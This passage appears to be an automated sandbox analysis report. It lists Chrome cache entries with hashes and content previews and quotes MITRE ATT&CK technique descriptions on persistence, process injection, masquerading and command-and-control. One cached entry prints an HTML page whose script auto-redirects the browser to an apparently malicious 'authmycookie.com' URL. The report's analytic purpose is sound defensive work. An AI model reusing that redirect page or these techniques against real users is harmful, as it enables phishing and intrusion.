Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7424)
Category:	dropped
Size (bytes):	147189
Entropy (8bit):	5.704730302238367
Encrypted:	false
SSDEEP:
MD5:	33D74A1F7AA5693526207688CB21E070
SHA1:	F3FC7527E5B4FC9B1AAC7BE29E80E3F456453608
SHA-256:	5F775C40ABF8434C832F223A3E008F1B8AF56112FCCDFD457E12B935A3B02A81
SHA-512:	1990D2816CA25B0EFC2CCD1D76F2C6A06053DC44E79D3F09565AB59EB802A48EABCFF726DA030CB50E90F7E1D1B987AEA83861908B305748B74C71ED0C68D83C
Malicious:	false
Reputation:	unknown
Preview:	_F_installCss("c-wiz{contain:style}c-wiz>c-data{display:none}c-wiz.rETSD{contain:none}c-wiz.Ubi8Z{contain:layout style}.jbBItf{display:block;position:relative}.DU0NJ{bottom:0;left:0;position:absolute;right:0;top:0}.lP3Jof{display:inline-block;position:relative}.nNMuOd{animation:qli-container-rotate 1568.2352941176ms linear infinite}@keyframes qli-container-rotate{from{transform:rotate(0)}to{transform:rotate(1turn)}}.RoKmhb{height:100%;opacity:0;position:absolute;width:100%}.nNMuOd .VQdeab{animation:qli-fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,qli-blue-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.nNMuOd .IEqiAf{animation:qli-fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,qli-red-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.nNMuOd .smocse{animation:qli-fill-unfill-rotate 5332ms cubic-bezier(0.4,0,0.2,1) infinite both,qli-yellow-fade-in-out 5332ms cubic-bezier(0.4,0,0.2,1) infinite both}.nNMuOd .FlKbCe{animation:qli

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (957)
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	5.524409439690059
Encrypted:	false
SSDEEP:
MD5:	E7F6A79AD7D3CAFEE3CD407FE5851CE4
SHA1:	A688A16012E66979E7BEFF00C9E31CB219068918
SHA-256:	33025CF49D7E2D485B4115641D9590D2C0DFDD3BEF0A0E4F889758E045B02E8C
SHA-512:	C0966C7442DEA428DB8A4A15664C7BAC4CB54952BB9958C60923453DD3D9F956A55F9A6BDEBAC899B537B68F6DBC90E0076BF4F90FF7D6067E818FFD822DBDEE
Malicious:	false
Reputation:	unknown
Preview:	"use strict";this.default_OneGoogleWidgetUi=this.default_OneGoogleWidgetUi\|\|{};(function(_){var window=this;.try{._.n("Wt6vjf");.var uA=function(a){this.ua=_.x(a,0,uA.rb)};_.D(uA,_.B);uA.prototype.Xa=function(){return _.em(this,1)};uA.prototype.qc=function(a){_.tm(this,1,a)};uA.rb="f.bo";var vA=function(){_.tp.call(this)};_.D(vA,_.tp);vA.prototype.qb=function(){this.Ts=!1;wA(this);_.tp.prototype.qb.call(this)};vA.prototype.j=function(){xA(this);if(this.ql)return yA(this),!1;if(!this.ju)return zA(this),!0;this.dispatchEvent("p");if(!this.Vq)return zA(this),!0;this.Gp?(this.dispatchEvent("r"),zA(this)):yA(this);return!1};.var AA=function(a){var b=new _.Yu(a.Uz);a.Kr!=null&&b.l.set("authuser",a.Kr);return b},yA=function(a){a.ql=!0;var b=AA(a),c="rt=r&f_uid="+_.Gm(a.Vq);_.$q(b,(0,_.yi)(a.l,a),"POST",c)};.vA.prototype.l=function(a){a=a.target;xA(this);if(_.fr(a)){this.Do=0;if(this.Gp)this.ql=!1,this.dispatchEvent("r");else if(this.ju)this.dispatchEvent("s");else{try{var b=_.Wu(a),c=JSON.par

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	558
Entropy (8bit):	5.7564061266598125
Encrypted:	false
SSDEEP:
MD5:	DCBB6DD37B28DD94322BCBEE8F5A2A4F
SHA1:	3C62B19DD0C6EB255B2776248F5BA784E201F8AA
SHA-256:	62CC5984A5B8A49A43865A3444952A5B52940740DD724E52EC422C51D8A0898D
SHA-512:	B7595852B05037BD66C1E97BA247E6D0C836D2DB449112E03A0977E490E1E8FAFAFFD78DED4CCE235B34091155C8614862B7266865D91D6E8C2B6DFF85809F5D
Malicious:	false
Reputation:	unknown
URL:	https://www.alphasurance.com/
Preview:	<html> .. <head>.. <meta name="referrer" content="no-referrer" />.. <script>.. window.location = "https://authmycookie.com/rt4.php?r3=CRA6RBIOEBoKTENdFwoWHU9GXQBcXVdeVkIDBQxYX19QXFEcU19SXVo6WEAbDwtQCQAcUwMICx8MAVcHD0U%3D&u=r2_40408b87-d092-48a7-8786-bc9345872096";.. </script>.. </head> .. <body>.. To the new location please <a href="https://authmycookie.com/rt4.php?r3=CRA6RBIOEBoKTENdFwoWHU9GXQBcXVdeVkIDBQxYX19QXFEcU19SXVo6WEAbDwtQCQAcUwMICx8MAVcHD0U%3D&u=r2_40408b87-d092-48a7-8786-bc9345872096"><b>click here.</b></a>.. </body> ..</html>..

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	102
Entropy (8bit):	5.209361131998766
Encrypted:	false
SSDEEP:
MD5:	992E4C2851C866DB602345EA0D725AB3
SHA1:	A4557CA38FC1457DC04B465378FAF48CD7AABDE4
SHA-256:	91F39F73E1B43A598F698C69CA4FD0CE1DD9465C0CC539D1E750E17E6D65B47B
SHA-512:	CDDEA2D91493C7FB0F6716034C24C256345A79BF2EA1113042336C30278DFFE209E878BA91D929C760BF38F0184F964743DA557A92E740417B4BCA000364BA9B
Malicious:	false
Reputation:	unknown
Preview:	)]}'.22;["EyqAZ_z1JdKO9u8PtsG8iQs","2148"]c;[2,null,"0"]1b;<div jsname="Nll0ne"></div>c;[9,null,"0"]0;

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1523)
Category:	dropped
Size (bytes):	272064
Entropy (8bit):	5.485032516634961
Encrypted:	false
SSDEEP:
MD5:	2AD0D34113B22A7CBB25A821518A212F
SHA1:	D7577B5B36485C32FC452CCC649A951EDDEF5E5E
SHA-256:	87278F7613C2F920F3EADBC41E346F5092C44FBB81C28CF1D20E77B935A8537F
SHA-512:	EB2A171FA785C0D859C93785D724DAD4AB0365A3367F92A573F2E696D98A371214D19C3C3C4477AC11FE2FBFD5F6A38AD8A5331FC01BE3F59F5F01C9189BC54A
Malicious:	false
Reputation:	unknown
Preview:	"use strict";_F_installCss(":root{--boq-chrometransition-background:#eee;--boq-chrometransition-active-background-opacity:0.8}.KL4X6e{background:var(--boq-chrometransition-background);bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.TuA45b{opacity:var(--boq-chrometransition-active-background-opacity)}sentinel{}");.this.default_OneGoogleWidgetUi=this.default_OneGoogleWidgetUi\|\|{};(function(_){var window=this;.try{._.CA=function(a,b){if(typeof b!=="number"\|\|b<0\|\|b>a.length)throw Error();};_.DA=function(a,b,c,d,e,f,g){var k=(0,_.Yd)(a.ua);_.Hc(k);a=_.ve(a,k,c,b,2,f,!0);g?_.CA(a,e):d=d!=null?d:new c;e!=void 0?a.splice(e,g,d):a.push(d);_.sc(d.ua)?(0,_.Ql)(a,8):(0,_.Ql)(a,16)};_.FA=function(a){if(a instanceof _.EA)return a.j;throw Error("B");};_.GA=function(a){return new _.EA(_.Ma,a[0].toLowerCase())};._.HA=function(a,b,c,d){if(a.length===0)throw Error("B");a=a.map(function(f){return _.FA(f)});var e=c.toLowerCase();if(a.every(function(f){return e.indexOf(f)!==0}))throw Error("ma`"+

Static File Info

⊘No static file info

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 115

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 125

Chrome Cache Entry: 127

Chrome Cache Entry: 129

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 136

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 154

Chrome Cache Entry: 155